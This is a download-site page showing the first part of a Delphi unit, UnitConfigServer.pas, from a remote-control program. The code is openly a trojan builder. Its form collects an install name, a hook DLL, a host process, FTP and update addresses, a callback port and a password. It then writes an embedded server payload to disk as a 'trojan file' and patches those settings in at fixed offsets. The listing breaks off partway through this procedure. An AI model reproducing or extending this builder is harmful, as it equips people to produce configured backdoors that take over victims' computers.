⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unitconfigserver.pas

📁 不错的远程控制程序
💻 PAS
📖 第 1 页 / 共 2 页
字号:
unit UnitConfigServer;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, Buttons, Inifiles, ShellApi,Upip1, ComCtrls;

const
  OFFSET_EXE = 34804; // EXE名称
  OFFSET_HOOK = 78772; // DLL名称
  OFFSET_EXP = 78840; // 宿主:
  OFFSET_FTP  = 122948; // FTP主机地址:
  OFFSET_FTXT  = 219176; // 更新页地址:
  OFFSET_URL = 219244; //更新IP
  OFFSET_TORU = 219312; // 备注:
  OFFSET_LFILE = 219380; // 上线端口:
  OFFSET_PASS = 219448; // 连接密码:

type
  TConfigServer = class(TForm)
    BitBtn1: TButton;
    RadioBox1: TCheckBox;
    Label6: TLabel;
    PageControl1: TPageControl;
    TabSheet1: TTabSheet;
    TabSheet2: TTabSheet;
    Edit1: TEdit;
    Label4: TLabel;
    Label12: TLabel;
    Label11: TLabel;
    Label7: TLabel;
    Label17: TLabel;
    Edit5: TEdit;
    Edit6: TEdit;
    Label14: TLabel;
    Label15: TLabel;
    Button1: TButton;
    Button2: TButton;
    TabSheet3: TTabSheet;
    Edit8: TEdit;
    Label8: TLabel;
    Label13: TLabel;
    Edit4: TEdit;
    Edit2: TEdit;
    Label1: TLabel;
    Edit3: TEdit;
    Label3: TLabel;
    Edit7: TEdit;
    Label16: TLabel;
    ComboBox1: TComboBox;
    Label2: TLabel;
    CheckBox1: TCheckBox;
    Label5: TLabel;
    Label9: TLabel;
    procedure BitBtn2Click(Sender: TObject);
    procedure BitBtn1Click(Sender: TObject);
    procedure FormShow(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure FormCreate(Sender: TObject);
    procedure RadioBox1Click(Sender: TObject);
    procedure Edit3KeyPress(Sender: TObject; var Key: Char);
    procedure Label10Click(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure Label6Click(Sender: TObject);
    procedure Label12Click(Sender: TObject);
    procedure Label11Click(Sender: TObject);
    procedure Label7Click(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }

  end;

var
  ConfigServer: TConfigServer;
  myinifile: TInifile;
  Filenupx: string;

implementation

{$R *.dfm}
{$R 'server.RES' 'server.rc'}
{$R 'upxserver.RES'}

function ExtractRes(ResType, ResName, OutName: string): Boolean;
var
  HResInfo: THandle;
  HGlobal: THandle;
  HFile: THandle;
  Ptr: Pointer;
  Size, N: Integer;
begin
  HFile := INVALID_HANDLE_VALUE;
  repeat
    Result := False;
    HResInfo := FindResource(HInstance, PChar(ResName), PChar(ResType));
    if HResInfo = 0 then Break;
    HGlobal := LoadResource(HInstance, HResInfo);
    if HGlobal = 0 then Break;
    Ptr := LockResource(HGlobal);
    Size := SizeOfResource(HInstance, HResInfo);
    if Ptr = nil then Break;
    HFile := CreateFile(PChar(OutName), GENERIC_READ or GENERIC_WRITE,
      0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
    if HFile = INVALID_HANDLE_VALUE then Break;
    if WriteFile(HFile, Ptr^, Size, LongWord(N), nil) then Result := True;
  until True;
  if HFile <> INVALID_HANDLE_VALUE then CloseHandle(HFile);
  SetFileAttributes(PChar(OutName), 0);
end;



// 生成 ----------------------------

procedure TConfigServer.BitBtn1Click(Sender: TObject);
var
  WriteBuff, ResultFilePath, ResourcePointer: PChar;
  ResourceLocation: HRSRC;
  ResourceSize, BytesWritten: Longword;
  ResDataHandle: THandle;
  FileHandle: THandle;
  sf: TSaveDialog;
  Lexe,Url,LFile,hookfile,ExpFile, Lftp,Lftxt,Ltoru,Lpass: string;
begin
  if trim(Edit2.Text) = '' then
  begin
    MessageBox(0, '请输入安装名称', '提示信息', mb_iconinformation);
    exit;
  end;
  if trim(Edit3.Text) = '' then
  begin
    MessageBox(0, '请输入上线端口', '提示信息', mb_iconinformation);
    exit;
  end;
    if trim(Edit4.Text) = '' then
  begin
    MessageBox(0, '请输入安装名称', '提示信息', mb_iconinformation);
    exit;
  end;
  begin
    hookfile := edit3.Text; //上线端口
    sf := TSaveDialog.Create(Application);
    sf.InitialDir := Application.ExeName;
    sf.FileName := '54sc_0.exe';
    sf.DefaultExt := 'exe';
    sf.Title := '生成木马文件';
    if not sf.Execute then exit;
    Url := trim(edit1.Text); // 更新IP
    LFile := trim(edit2.Text); //DLL名称
    ExpFile := trim(ComboBox1.Text); //宿主名称
    Lexe := trim(edit4.Text); //EXE名称
    Lftp:= trim(edit5.Text); // FTP主机地址
    Lftxt:= '/'+Edit6.text; //更新页地址
    Ltoru:= edit7.Text; // 备注
    Lpass:= edit8.Text; // 连接密码
{    Url := EnCryptStr(trim(edit1.Text),'bwindlovexiaohan'); // 更新IP
    LFile := EnCryptStr(trim(edit2.Text),'bwindlovexiaohan'); //DLL名称
    ExpFile := EnCryptStr(trim(ComboBox1.Text),'bwindlovexiaohan'); //宿主名称
    Lexe := EnCryptStr(trim(edit4.Text),'bwindlovexiaohan'); //EXE名称
    Lftp:= EnCryptStr(trim(edit5.Text),'bwindlovexiaohan'); // FTP主机地址
    Lftxt:= EnCryptStr('/'+Edit6.text,'bwindlovexiaohan'); //更新页地址
    Ltoru:= EnCryptStr(edit7.Text,'bwindlovexiaohan'); // 备注
    Lpass:= EnCryptStr(edit8.Text,'bwindlovexiaohan'); // 连接密码     }
    //ShowMessage(hookfile + #13#10 + Url + #13#10 + Url + #13#10 + LFile + #13#10 + ExpFile + #13#10 + Lexe + #13#10 + Lftp + #13#10 + Lftxt + #13#10 + Ltoru + #13#10 + Lpass);

    {edit1.Text:=url;
    edit2.Text:=LFile;
    edit3.Text:=hookfile;
    ComboBox1.Text:=ExpFile;
    edit4.Text:=Lexe;
    edit5.Text:=Lftp;
    edit6.Text:=Lftxt;
    edit7.Text:=Ltoru;
    edit8.Text:=Lpass;    }

    Filenupx := sf.FileName;
    ResultFilePath := pchar(sf.FileName);
    ResourceLocation := FindResource(HInstance, 'HOOKMM', RT_RCDATA);
    if ResourceLocation <> 0 then
    begin
      ResourceSize := SizeofResource(HInstance, ResourceLocation);
      if ResourceSize <> 0 then
      begin
        ResDataHandle := LoadResource(HInstance, ResourceLocation);
        if ResDataHandle <> 0 then
        begin
          ResourcePointer := LockResource(ResDataHandle);
          if ResourcePointer <> nil then
          begin
            FileHandle := CreateFile(ResultFilePath, GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
            if FileHandle <> INVALID_HANDLE_VALUE then
            begin
              WriteFile(FileHandle, ResourcePointer^, ResourceSize, BytesWritten, nil);
              Sleep(10);
               SetFilePointer(FileHandle, OFFSET_EXE, nil, FILE_BEGIN); //EXE名称
              WriteBuff := PChar(Lexe + StringOfChar(#0, 64 - Length(Lexe)));
              WriteFile(FileHandle, WriteBuff^, 65, BytesWritten, nil);
              SetFilePointer(FileHandle, OFFSET_EXE + 76, nil, FILE_BEGIN);

              SetFilePointer(FileHandle, OFFSET_EXE + 68, nil, FILE_BEGIN);  //DLL名称(OFFSET_HOOK)
              WriteBuff := PChar(LFile + StringOfChar(#0, 64 - Length(LFile)));
              WriteFile(FileHandle, WriteBuff^, 65, BytesWritten, nil);
              SetFilePointer(FileHandle, OFFSET_EXE + 68 + 76, nil, FILE_BEGIN);

              SetFilePointer(FileHandle, OFFSET_EXE + 136, nil, FILE_BEGIN);  //宿主名称(OFFSET_EXP)
              WriteBuff := PChar(ExpFile + StringOfChar(#0, 64 - Length(ExpFile)));
              WriteFile(FileHandle, WriteBuff^, 65, BytesWritten, nil);
              SetFilePointer(FileHandle, OFFSET_EXE + 136 + 76, nil, FILE_BEGIN);

              SetFilePointer(FileHandle, OFFSET_FTP, nil, FILE_BEGIN);  //FTP
              WriteBuff := PChar(Lftp + StringOfChar(#0, 64 - Length(Lftp)));

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -